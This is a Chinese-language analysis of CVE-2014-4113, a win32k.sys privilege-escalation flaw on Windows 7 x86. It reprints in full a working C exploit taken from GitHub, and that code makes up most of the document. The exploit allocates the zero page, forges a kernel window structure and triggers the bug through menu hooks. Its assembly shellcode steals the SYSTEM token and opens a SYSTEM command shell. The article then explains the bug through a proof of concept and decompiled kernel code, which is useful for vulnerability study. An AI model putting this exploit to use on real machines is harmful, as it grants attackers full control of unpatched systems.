一、漏洞简述 Microsoft Windows下的 win32k.sys是Windows子系统的内核部分，是一个内核模式设备驱动程序，它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象，则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序；查看、更改或删除数据；或者创建拥有完全管理权限的新帐户。其中CVE-2014-4113就是Win32k.sys中的一个漏洞，该漏洞的根本问题是函数xxxMNFindWindowFromPoint的返回值验证不正确。xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1，-5。在该函数后面将调用函数xxxSendMessage，xxxSendMessage把xxxMNFindWindowFromPoint的返回值作为参数传递。当xxxMNFindWindowFromPoint返回win32k!tagWND地址的时候程序正常执行，但当返回-1，-5的时候传递给xxxSendMessage将造成蓝屏。
二、环境准备 系统版本
win7x86sp1
三、漏洞验证 这是一个提权漏洞，在GitHub上找的exp如下：
#include #include #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef NTSTATUS (WINAPI* My_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer. LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { printf("[+] Callback two called.\n"); EndMenu(); return -5; }
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { printf("[+] Callback one called.\n"); /* lParam is a pointer to a CWPSTRUCT which is defined as: typedef struct tagCWPSTRUCT { LPARAM lParam; WPARAM wParam; UINT message; HWND hwnd; } CWPSTRUCT, PCWPSTRUCT, LPCWPSTRUCT; / //lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called if ((DWORD)(lParam + 8) == 0x1EB) { if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { //lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one SetWindowLongA((HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo); } } return CallNextHookEx(0, code, wParam, lParam); }
/* LRESULT WINAPI DefWindowProc( In HWND hWnd, In UINT Msg, In WPARAM wParam, In LPARAM lParam ); hWnd => Handle of the Window the event was triggered on Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc wParam, lParam => extra information depending on the msg recieved. / LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { / Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug */ printf("[+] WindProc called with message=%d\n", msg); if (msg == WM_ENTERIDLE) { PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0); PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0); } //Just pass any other messages to the default window procedure return DefWindowProc(hwnd, msg, wParam, lParam); }
VOID Poc() { /* typedef struct tagWNDCLASS { UINT style; WNDPROC lpfnWndProc; int cbClsExtra; int cbWndExtra; HINSTANCE hInstance; HICON hIcon; HCURSOR hCursor; HBRUSH hbrBackground; LPCTSTR lpszMenuName; LPCTSTR lpszClassName; } WNDCLASS, *PWNDCLASS; We don't care about any of the style information but we set any needed values below. */ WNDCLASSA wnd_class = { 0 }; //Our custome WndProc handler, inspects any window messages before passing then onto the default handler wnd_class.lpfnWndProc = WndProc; //Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable wnd_class.hInstance = GetModuleHandle(NULL); //Random classname - we reference this later when creating a Window of this class wnd_class.lpszClassName = "abcde";
//Registers the class in the global scope so it can be refered too later.
ATOM tmp = RegisterClassA(&wnd_class);
if (tmp == NULL) {
printf("[+] Failed to register window class.\n");
return;
}
/* Does what it says on the tin..
HWND WINAPI CreateWindow(
_In_opt_ LPCTSTR lpClassName, => The name of the Window class to be created, in this case the class we just registered
_In_opt_ LPCTSTR lpWindowName, => The name to give the window, we don't need to give it a name.
_In_ DWORD dwStyle, => Style options for the window, here
_In_ int x, => x position to create the window,this time the left edge
_In_ int y, => y position to create the window, this time the top edge
_In_ int nWidth, => Width of the window to create, randomly chosen value
_In_ int nHeight, => Height of the to create, randomly chosen value
_In_opt_ HWND hWndParent, => A handle to the parent window, this is our only window so NULL
_In_opt_ HMENU hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
_In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
_In_opt_ LPVOID lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
);
*/
HWND main_wnd = CreateWindowA(
wnd_class.lpszClassName,
"",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0,
0,
640,
480,
NULL,
NULL,
wnd_class.hInstance,
NULL);
if (main_wnd == NULL) {
printf("[+] Failed to create window instance.\n");
return;
}
//Creates an empty popup menu
HMENU MenuOne = CreatePopupMenu();
if (MenuOne == NULL) {
printf("[+] Failed to create popup menu one.\n");
return;
}
/*Menu properties to apply to the empty menu we just created
typedef struct tagMENUITEMINFO {
UINT cbSize;
UINT fMask;
UINT fType;
UINT fState;
UINT wID;
HMENU hSubMenu;
HBITMAP hbmpChecked;
HBITMAP hbmpUnchecked;
ULONG_PTR dwItemData;
LPTSTR dwTypeData;
UINT cch;
HBITMAP hbmpItem;
} MENUITEMINFO, *LPMENUITEMINFO;
*/
MENUITEMINFOA MenuOneInfo = { 0 };
//Default size
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
MenuOneInfo.fMask = MIIM_STRING;
/*Inserts a new menu at the specified position
BOOL WINAPI InsertMenuItem(
_In_ HMENU hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
_In_ UINT uItem, => it should item 0 in the menu
_In_ BOOL fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
_In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
);
*/
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
if (!insertMenuItem) {
printf("[+] Failed to insert popup menu one.\n");
DestroyMenu(MenuOne);
return;
}
HMENU MenuTwo = CreatePopupMenu();
if (MenuTwo == NULL) {
printf("[+] Failed to create menu two.\n");
DestroyMenu(MenuOne);
return;
}
MENUITEMINFOA MenuTwoInfo = { 0 };
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
//On this window hSubMenu should be included in Get/SetMenuItemInfo
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
//The menu is a sub menu of the first menu
MenuTwoInfo.hSubMenu = MenuOne;
//The contents of the menu item - in this case nothing
MenuTwoInfo.dwTypeData = (LPSTR)"";
//The length of the menu item text - in the case 1 for just a single NULL byte
MenuTwoInfo.cch = 1;
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
if (!insertMenuItem) {
printf("[+] Failed to insert second pop-up menu.\n");
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
}
/*
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
_In_ HOOKPROC lpfn, => The callback that should be called when triggered
_In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
_In_ DWORD dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
);
*/
HHOOK setWindowsHook = SetWindowsHookExA(
WH_CALLWNDPROC,
HookCallback,
NULL,
GetCurrentThreadId()
);
if (setWindowsHook == NULL) {
printf("[+] Failed to insert call back one.\n");
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
}
/* Displays a menu and tracks interactions with it.
BOOL WINAPI TrackPopupMenu(
_In_ HMENU hMenu,
_In_ UINT uFlags,
_In_ int x,
_In_ int y,
_In_ int nReserved,
_In_ HWND hWnd,
_In_opt_ const RECT *prcRect
);
*/
TrackPopupMenu(
MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
0, //Horizontal position - left hand side
0, //Vertical position - Top edge
0, //Reserved field, has to be 0
main_wnd,//Handle to the Window which owns the menu
NULL //This value is always ignored...
);
DestroyWindow(main_wnd);
}
int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4) { _asm { pushad mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread mov eax, [eax + 0x50] // Find the _EPROCESS structure mov ecx, eax mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
}
return 0;
}
static VOID CreateCmd() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); }
DWORD __stdcall ptiCurrent() { __asm { mov eax, fs:18h //eax pointer to TEB mov eax, [eax + 40h] //get pointer to Win32ThreadInfo } }
VOID init() { (FARPROC)&NtAllocateVirtualMemory = GetProcAddress( GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+] Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return;
}
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
printf("[+] Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+] Failed to alloc zero page!\n");
system("pause");
return;
}
printf("[+] Success to alloc zero page...\n");
*(DWORD*)(0x3) = (DWORD)ptiCurrent();
*(DWORD*)(0x11) = (DWORD)4;
*(DWORD*)(0x5b) = (DWORD)&ShellCode;
}
int main() { init();
Poc();
CreateCmd();
system("pause");
return 0;
}
在VS中生成，拖入虚拟机中，首先普通模式打开cmd，查看权限：
!
接下来运行exp：
可以看到已经是系统权限了。
四、漏洞分析 从POC开始分析吧，代码如下：
#include #include
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer. LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { printf("[+] Callback two called.\n"); EndMenu(); return -5; }
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { printf("[+] Callback one called.\n"); /* lParam is a pointer to a CWPSTRUCT which is defined as: typedef struct tagCWPSTRUCT { LPARAM lParam; WPARAM wParam; UINT message; HWND hwnd; } CWPSTRUCT, PCWPSTRUCT, LPCWPSTRUCT; / //lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called if ((DWORD)(lParam + 8) == 0x1EB) { if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { //lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one SetWindowLongA((HWND*)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo); } } return CallNextHookEx(0, code, wParam, lParam); }
/* LRESULT WINAPI DefWindowProc( In HWND hWnd, In UINT Msg, In WPARAM wParam, In LPARAM lParam ); hWnd => Handle of the Window the event was triggered on Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc wParam, lParam => extra information depending on the msg recieved. / LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { / Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug */ printf("[+] WindProc called with message=%d\n", msg); if (msg == WM_ENTERIDLE) { PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0); PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0); } //Just pass any other messages to the default window procedure return DefWindowProc(hwnd, msg, wParam, lParam); }
VOID Poc() { /* typedef struct tagWNDCLASS { UINT style; WNDPROC lpfnWndProc; int cbClsExtra; int cbWndExtra; HINSTANCE hInstance; HICON hIcon; HCURSOR hCursor; HBRUSH hbrBackground; LPCTSTR lpszMenuName; LPCTSTR lpszClassName; } WNDCLASS, *PWNDCLASS; We don't care about any of the style information but we set any needed values below. */ WNDCLASSA wnd_class = { 0 }; //Our custome WndProc handler, inspects any window messages before passing then onto the default handler wnd_class.lpfnWndProc = WndProc; //Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable wnd_class.hInstance = GetModuleHandle(NULL); //Random classname - we reference this later when creating a Window of this class wnd_class.lpszClassName = "abcde";
//Registers the class in the global scope so it can be refered too later.
ATOM tmp = RegisterClassA(&wnd_class);
if (tmp == NULL) {
printf("[+] Failed to register window class.\n");
return;
}
/* Does what it says on the tin..
HWND WINAPI CreateWindow(
_In_opt_ LPCTSTR lpClassName, => The name of the Window class to be created, in this case the class we just registered
_In_opt_ LPCTSTR lpWindowName, => The name to give the window, we don't need to give it a name.
_In_ DWORD dwStyle, => Style options for the window, here
_In_ int x, => x position to create the window,this time the left edge
_In_ int y, => y position to create the window, this time the top edge
_In_ int nWidth, => Width of the window to create, randomly chosen value
_In_ int nHeight, => Height of the to create, randomly chosen value
_In_opt_ HWND hWndParent, => A handle to the parent window, this is our only window so NULL
_In_opt_ HMENU hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
_In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
_In_opt_ LPVOID lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
);
*/
HWND main_wnd = CreateWindowA(
wnd_class.lpszClassName,
"",
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0,
0,
640,
480,
NULL,
NULL,
wnd_class.hInstance,
NULL);
if (main_wnd == NULL) {
printf("[+] Failed to create window instance.\n");
return;
}
//Creates an empty popup menu
HMENU MenuOne = CreatePopupMenu();
if (MenuOne == NULL) {
printf("[+] Failed to create popup menu one.\n");
return;
}
/*Menu properties to apply to the empty menu we just created
typedef struct tagMENUITEMINFO {
UINT cbSize;
UINT fMask;
UINT fType;
UINT fState;
UINT wID;
HMENU hSubMenu;
HBITMAP hbmpChecked;
HBITMAP hbmpUnchecked;
ULONG_PTR dwItemData;
LPTSTR dwTypeData;
UINT cch;
HBITMAP hbmpItem;
} MENUITEMINFO, *LPMENUITEMINFO;
*/
MENUITEMINFOA MenuOneInfo = { 0 };
//Default size
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
MenuOneInfo.fMask = MIIM_STRING;
/*Inserts a new menu at the specified position
BOOL WINAPI InsertMenuItem(
_In_ HMENU hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
_In_ UINT uItem, => it should item 0 in the menu
_In_ BOOL fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
_In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
);
*/
BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);
if (!insertMenuItem) {
printf("[+] Failed to insert popup menu one.\n");
DestroyMenu(MenuOne);
return;
}
HMENU MenuTwo = CreatePopupMenu();
if (MenuTwo == NULL) {
printf("[+] Failed to create menu two.\n");
DestroyMenu(MenuOne);
return;
}
MENUITEMINFOA MenuTwoInfo = { 0 };
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
//On this window hSubMenu should be included in Get/SetMenuItemInfo
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
//The menu is a sub menu of the first menu
MenuTwoInfo.hSubMenu = MenuOne;
//The contents of the menu item - in this case nothing
MenuTwoInfo.dwTypeData = (LPSTR)"";
//The length of the menu item text - in the case 1 for just a single NULL byte
MenuTwoInfo.cch = 1;
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);
if (!insertMenuItem) {
printf("[+] Failed to insert second pop-up menu.\n");
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
}
/*
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
_In_ HOOKPROC lpfn, => The callback that should be called when triggered
_In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
_In_ DWORD dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
);
*/
HHOOK setWindowsHook = SetWindowsHookExA(
WH_CALLWNDPROC,
HookCallback,
NULL,
GetCurrentThreadId()
);
if (setWindowsHook == NULL) {
printf("[+] Failed to insert call back one.\n");
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
}
/* Displays a menu and tracks interactions with it.
BOOL WINAPI TrackPopupMenu(
_In_ HMENU hMenu,
_In_ UINT uFlags,
_In_ int x,
_In_ int y,
_In_ int nReserved,
_In_ HWND hWnd,
_In_opt_ const RECT *prcRect
);
*/
TrackPopupMenu(
MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
0, //Horizontal position - left hand side
0, //Vertical position - Top edge
0, //Reserved field, has to be 0
main_wnd,//Handle to the Window which owns the menu
NULL //This value is always ignored...
);
}
int main() { Poc(); return 0; }
编译成exe拖入虚拟机运行，打开双击调试：
卡在这里，看箭头位置：
可以看到esi的值是传入的参数，上层函数是xxxSendMessage，参数同样是fffffffb：
直接在win32k.sys追xxxHandleMenuMessages，当然记得加载符号文件：
通过xxxHandleMenuMessages+0x582的地址，F5到此处：
LABEL_13: v12 = a2; *(_DWORD *)(a2 + 16) = -1; *(_DWORD *)(a2 + 8) = (signed __int16)v7; *(_DWORD *)(a2 + 12) = SHIWORD(v7); v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7); v52 = IsMFMWFPWindow(v13); if ( v52 ) { v46 = *((_DWORD *)gptiCurrent + 45); *((_DWORD )gptiCurrent + 45) = &v46; v47 = v13; if ( v13 ) ++(_DWORD *)(v13 + 4); } if ( *(_DWORD *)(v12 + 4) & 0x400 ) { *(_DWORD *)(v12 + 36) = *(_DWORD *)(v12 + 8); *(_DWORD *)(v12 + 40) = *(_DWORD *)(v12 + 12); *(_DWORD *)(v12 + 48) = UnicodeString; LockMFMWFPWindow(v12 + 44, v13); } if ( *(_DWORD *)(v12 + 4) & 0x500 ) *(_DWORD *)(v12 + 52) = ((v50 & 2) != 0) + 1; if ( !v13 && !UnicodeString ) goto LABEL_22; if ( *(_BYTE )v3 & 2 && v13 == -5 ) { xxxMNSwitchToAlternateMenu(v3); v13 = -1; } if ( v13 == -1 ) xxxMNButtonDown(v3, v12, UnicodeString, 1); else xxxSendMessage((PVOID)v13, -19, UnicodeString, 0); if ( !((_DWORD )(v12 + 4) & 0x100) ) xxxMNRemoveMessage((_DWORD *)(a1 + 4), 516);
可以看到esi的值主要来源于 v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7); v52 = IsMFMWFPWindow(v13)：此函数判断值是否是-5和-1，不是的话返回1：
BOOL __stdcall IsMFMWFPWindow(int a1) { return a1 && a1 != -5 && a1 != -1; }
而如果要执行xxxSendMessage这个函数，就需要让v13的值等于-5（FFFFFFFB），我们看xxxMNFindWindowFromPoint这个函数：
这里反编译有问题，直接看汇编：
这里判断呢，就是发送消息是1ED这里，然后判断是不是-1或者-5就跳过if，所以这里需要跳过if，否则返回值会重新赋值，然后-1的话触发不了漏洞，只能-5，也就是HOOK这里，让这个返回值-5，触发漏洞。 接下来根据POC简单梳理一下过程： 调用了TrackPopupMenu函数触发漏洞，然后调用内核函数win32k!xxxTrackPopupMenuEx，最后调用最终会调用win32k! xxxMNLoop函数，然后就跟进win32k!xxxHandleMenuMessages函数，随后就是我们分析的情况。触发漏洞需要让xxxMNFindWindowFromPoint返回值=-5；
五、漏洞利用
在POC中，对于消息号为0x1EB的消息，HOOK函数返回了0xFFFFFFFB，而程序把该值作为win32k!tagWND结构处理，导致后边把0xFFFFFFFB作为win32k!ptagWND结构传给win32k! xxxSendMessage。在win32k! xxxSendMessage中会调用win32k!xxxSendMessageTimeout，在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时，会调用ptagWND+0x60处的函数，也就是call [0xFFFFFFB+0x60]，在xxxSendMessageTimeout中，即call [0x5B]。
如果在0x5B位置布置shellcode，就可以完成漏洞利用，下面还要注意一个点，是xxxSendMessageTimeout函数内部的俩个验证，所以我们需要布局0x3,0x11位置：
通过函数ZwAllocateVirtualMemory申请0页内存空间，在该空间建立一个畸形的win32k!tagWND结构的映射页，使得在内核能正确地验证。并将shellcode地址布置在0x5B。而shellcode就是创建cmd，把进程Token换成system的Token值。至于钩子为什么使用SetWindowLongA设置了一次窗口函数，因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义。补充一点exp调用sendMessage函数是分同步异步，这里不再多说，可以看这里：https://www.anquanke.com/post/id/84869